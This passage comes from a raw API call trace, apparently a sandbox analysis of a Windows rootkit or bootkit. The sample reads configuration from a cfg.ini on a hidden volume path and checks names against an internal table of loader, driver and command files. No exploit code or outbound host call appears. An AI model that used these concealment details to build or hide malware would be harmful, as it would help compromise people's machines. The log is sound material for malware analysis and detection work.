"\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0081.888] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0081.888] KeEnterCriticalRegion () [0081.888] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.888] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.888] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.888] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.888] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0081.888] IdePortDispatch () returned 0x103 [0081.888] KeWaitForMutexObject () returned 0x0 [0081.888] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0081.888] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0081.888] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0081.888] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0081.888] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0081.888] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0081.888] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0081.888] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0081.888] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0081.888] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0081.888] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0081.889] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0081.889] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0081.889] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0081.889] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0081.889] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.889] KeLeaveCriticalRegion () [0081.889] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0081.889] ReleaseMutex (hMutex=0x100) returned 1 [0081.889] Sleep (dwMilliseconds=0x2bf20) [0093.271] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x5c7fbd80, dwHighDateTime=0x1d24fa4)) [0093.271] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0093.271] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0093.271] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0093.271] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0093.271] KeEnterCriticalRegion () [0093.271] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.271] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.271] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.271] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.271] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0093.271] IdePortDispatch () returned 0x103 [0093.274] KeWaitForMutexObject () returned 0x0 [0093.274] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0093.274] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0093.274] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0093.274] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0093.274] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0093.274] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800d5f7ef0 [0093.274] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.274] KeLeaveCriticalRegion () [0093.274] IofCompleteRequest (Irp=0xfffffa8003828ee0, PriorityBoost=0) [0093.274] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0093.274] KeEnterCriticalRegion () [0093.274] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.274] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003828ee0, Context=0x0) returned 0x0 [0093.274] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.274] KeLeaveCriticalRegion () [0093.274] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0093.274] KeEnterCriticalRegion () [0093.274] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.274] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.274] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.274] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.274] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0093.274] IdePortDispatch () returned 0x103 [0093.274] KeWaitForMutexObject () returned 0x0 [0093.275] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0093.275] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.275] KeLeaveCriticalRegion () [0093.275] IofCompleteRequest (Irp=0xfffffa8003828ee0, PriorityBoost=0) [0093.275] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0093.275] KeEnterCriticalRegion () [0093.275] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.275] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003428000 [0093.275] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.275] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003607090 [0093.275] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003607090, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003607090) [0093.275] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0093.275] IdePortDispatch () returned 0x103 [0093.275] KeWaitForMutexObject () returned 0x0 [0093.275] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0093.275] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.275] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003607090 [0093.275] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003607090, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003607090) [0093.275] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0093.275] IdePortDispatch () returned 0x103 [0093.275] KeWaitForMutexObject () returned 0x0 [0093.275] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.275] KeLeaveCriticalRegion () [0093.275] IofCompleteRequest (Irp=0xfffffa8003828ee0, PriorityBoost=0) [0093.277] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0093.277] KeEnterCriticalRegion () [0093.277] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.277] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003828ee0, Context=0x0) returned 0x0 [0093.277] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.277] KeLeaveCriticalRegion () [0093.277] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0093.277] KeEnterCriticalRegion () [0093.277] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.277] IoGetRequestorProcess (Irp=0xfffffa8003828ee0) returned 0xfffffa80034fca60 [0093.277] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003892840, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0093.277] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.277] KeLeaveCriticalRegion () [0093.277] IofCompleteRequest (Irp=0xfffffa8003828ee0, PriorityBoost=0) [0093.277] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0093.277] KeEnterCriticalRegion () [0093.277] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.277] ExFreePoolWithTag (P=0xfffffa800d5f7ef0, Tag=0x0) [0093.277] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.277] KeLeaveCriticalRegion () [0093.277] IofCompleteRequest (Irp=0xfffffa8003828ee0, PriorityBoost=0) [0093.277] ReleaseMutex (hMutex=0xf0) returned 1 [0093.277] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0093.277] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0093.277] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0093.277] KeEnterCriticalRegion () [0093.277] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.277] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.277] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.277] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.277] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0093.277] IdePortDispatch () returned 0x103 [0093.277] KeWaitForMutexObject () returned 0x0 [0093.281] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0093.281] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0093.281] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0093.281] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0093.281] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0093.281] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800d5f7ef0 [0093.281] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.281] KeLeaveCriticalRegion () [0093.281] IofCompleteRequest (Irp=0xfffffa8003828ee0, PriorityBoost=0) [0093.281] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0093.281] KeEnterCriticalRegion () [0093.281] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.281] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003828ee0, Context=0x0) returned 0x0 [0093.281] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.281] KeLeaveCriticalRegion () [0093.281] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0093.281] KeEnterCriticalRegion () [0093.281] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.281] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.281] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.281] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.281] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0093.281] IdePortDispatch () returned 0x103 [0093.281] KeWaitForMutexObject () returned 0x0 [0093.281] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0093.281] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.281] KeLeaveCriticalRegion () [0093.281] IofCompleteRequest (Irp=0xfffffa8003828ee0, PriorityBoost=0) [0093.281] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0093.281] KeEnterCriticalRegion () [0093.281] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.281] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003483000 [0093.282] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.282] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003607090 [0093.282] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003607090, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003607090) [0093.282] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0093.282] IdePortDispatch () returned 0x103 [0093.282] KeWaitForMutexObject () returned 0x0 [0093.282] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0093.282] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.282] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003607090 [0093.282] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003607090, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003607090) [0093.282] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0093.282] IdePortDispatch () returned 0x103 [0093.282] KeWaitForMutexObject () returned 0x0 [0093.282] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.282] KeLeaveCriticalRegion () [0093.282] IofCompleteRequest (Irp=0xfffffa8003828ee0, PriorityBoost=0) [0093.282] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0093.282] KeEnterCriticalRegion () [0093.282] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.283] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003828ee0, Context=0x0) returned 0x0 [0093.283] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.283] KeLeaveCriticalRegion () [0093.283] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0093.283] KeEnterCriticalRegion () [0093.283] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.283] IoGetRequestorProcess (Irp=0xfffffa8003828ee0) returned 0xfffffa80034fca60 [0093.283] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003891f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0093.283] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.283] KeLeaveCriticalRegion () [0093.283] IofCompleteRequest (Irp=0xfffffa8003828ee0, PriorityBoost=0) [0093.283] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0093.283] KeEnterCriticalRegion () [0093.283] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.283] ExFreePoolWithTag (P=0xfffffa800d5f7ef0, Tag=0x0) [0093.283] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.283] KeLeaveCriticalRegion () [0093.283] IofCompleteRequest (Irp=0xfffffa8003828ee0, PriorityBoost=0) [0093.283] ReleaseMutex (hMutex=0xf0) returned 1 [0093.283] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0093.289] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0093.289] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0093.289] KeEnterCriticalRegion () [0093.289] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.289] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.289] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.289] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.289] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0093.289] IdePortDispatch () returned 0x103 [0093.289] KeWaitForMutexObject () returned 0x0 [0093.289] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0093.289] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0093.289] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0093.289] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0093.289] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0093.289] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800d5f7ef0 [0093.289] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.289] KeLeaveCriticalRegion () [0093.289] IofCompleteRequest (Irp=0xfffffa8003828ee0, PriorityBoost=0) [0093.289] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0093.289] KeEnterCriticalRegion () [0093.289] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.289] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003828ee0, Context=0x0) returned 0x0 [0093.289] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.289] KeLeaveCriticalRegion () [0093.289] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0093.289] KeEnterCriticalRegion () [0093.289] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.289] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.289] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.290] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.290] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0093.290] IdePortDispatch () returned 0x103 [0093.290] KeWaitForMutexObject () returned 0x0 [0093.290] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0093.290] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.290] KeLeaveCriticalRegion () [0093.290] IofCompleteRequest (Irp=0xfffffa8003828ee0, PriorityBoost=0) [0093.290] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0093.290] KeEnterCriticalRegion () [0093.290] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.290] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003487000 [0093.290] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.290] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003607090 [0093.290] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003607090, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003607090) [0093.290] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0093.290] IdePortDispatch () returned 0x103 [0093.290] KeWaitForMutexObject () returned 0x0 [0093.290] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0093.290] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.290] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003607090 [0093.290] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003607090, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003607090) [0093.290] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0093.290] IdePortDispatch () returned 0x103 [0093.290] KeWaitForMutexObject () returned 0x0 [0093.291] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.291] KeLeaveCriticalRegion () [0093.291] IofCompleteRequest (Irp=0xfffffa8003828ee0, PriorityBoost=0) [0093.291] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0093.291] KeEnterCriticalRegion () [0093.291] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.291] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003828ee0, Context=0x0) returned 0x0 [0093.291] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.291] KeLeaveCriticalRegion () [0093.291] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0093.291] KeEnterCriticalRegion () [0093.291] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.291] IoGetRequestorProcess (Irp=0xfffffa8003828ee0) returned 0xfffffa80034fca60 [0093.291] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003891f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0093.291] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.291] KeLeaveCriticalRegion () [0093.291] IofCompleteRequest (Irp=0xfffffa8003828ee0, PriorityBoost=0) [0093.291] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0093.291] KeEnterCriticalRegion () [0093.291] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.291] ExFreePoolWithTag (P=0xfffffa800d5f7ef0, Tag=0x0) [0093.291] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.291] KeLeaveCriticalRegion () [0093.291] IofCompleteRequest (Irp=0xfffffa8003828ee0, PriorityBoost=0) [0093.291] ReleaseMutex (hMutex=0xf0) returned 1 [0093.291] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0093.291] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 